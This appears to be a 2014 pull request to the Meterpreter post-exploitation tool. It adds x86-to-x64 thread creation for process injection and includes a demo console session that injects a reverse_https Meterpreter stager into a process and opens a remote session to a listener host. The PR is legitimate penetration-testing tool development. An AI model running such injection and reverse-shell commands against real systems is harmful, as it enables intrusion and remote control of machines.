rapid7/meterpreter — pull request #76 by OJ (2014-03-10 03:09:14+00:00)
Title: Change thread creation to support x86->x64

The create thread functionality would work in all cases except where the thread was being created in an x64 process from an x86 process. This commit adds support for this by reusing the wow64 injection code in this case.

To see this in action, the best thing to do is create a session on a 64-bit machine with a 32-bit meterpreter. Then do something like this:

```
meterpreter > run multi_meter_inject -pt windows/x64/meterpreter/reverse_https -mp 4076 -p 5555 -mr 10.1.10.40
[*] Creating a reverse meterpreter stager: LHOST=10.1.10.40 LPORT=5555
[*] Injecting meterpreter into process ID 4076
[*] Allocated memory at address 0x01c10000, for 588 byte stager
[*] Writing the stager into memory...

[*] 10.1.10.32:62023 Request received for /sXEL...
[*] 10.1.10.32:62023 Staging connection for target /sXEL received...
[*] Patched user-agent at offset 570272...
[*] Patched transport at offset 569936...
[*] Patched URL at offset 570000...
[*] Patched Expiration Timeout at offset 801216...
[*] Patched Communication Timeout at offset 801220...
[+] Successfully injected Meterpreter in to process: 4076
[*] Meterpreter session 17 opened (10.1.10.40:5555 -> 10.1.10.32:62023) at 2014-03-10 12:23:12 +1000
```

This demonstrates the use case, though there are many cases where this could possibly apply.

### Verification
- [ ] Works when creating x86 threads from x86 Meterpreter.
- [ ] Works when creating x86 threads from x64 Meterpreter.
- [ ] Works when creating x64 threads from x86 Meterpreter.
- [ ] Works when creating x64 threads from x64 Meterpreter.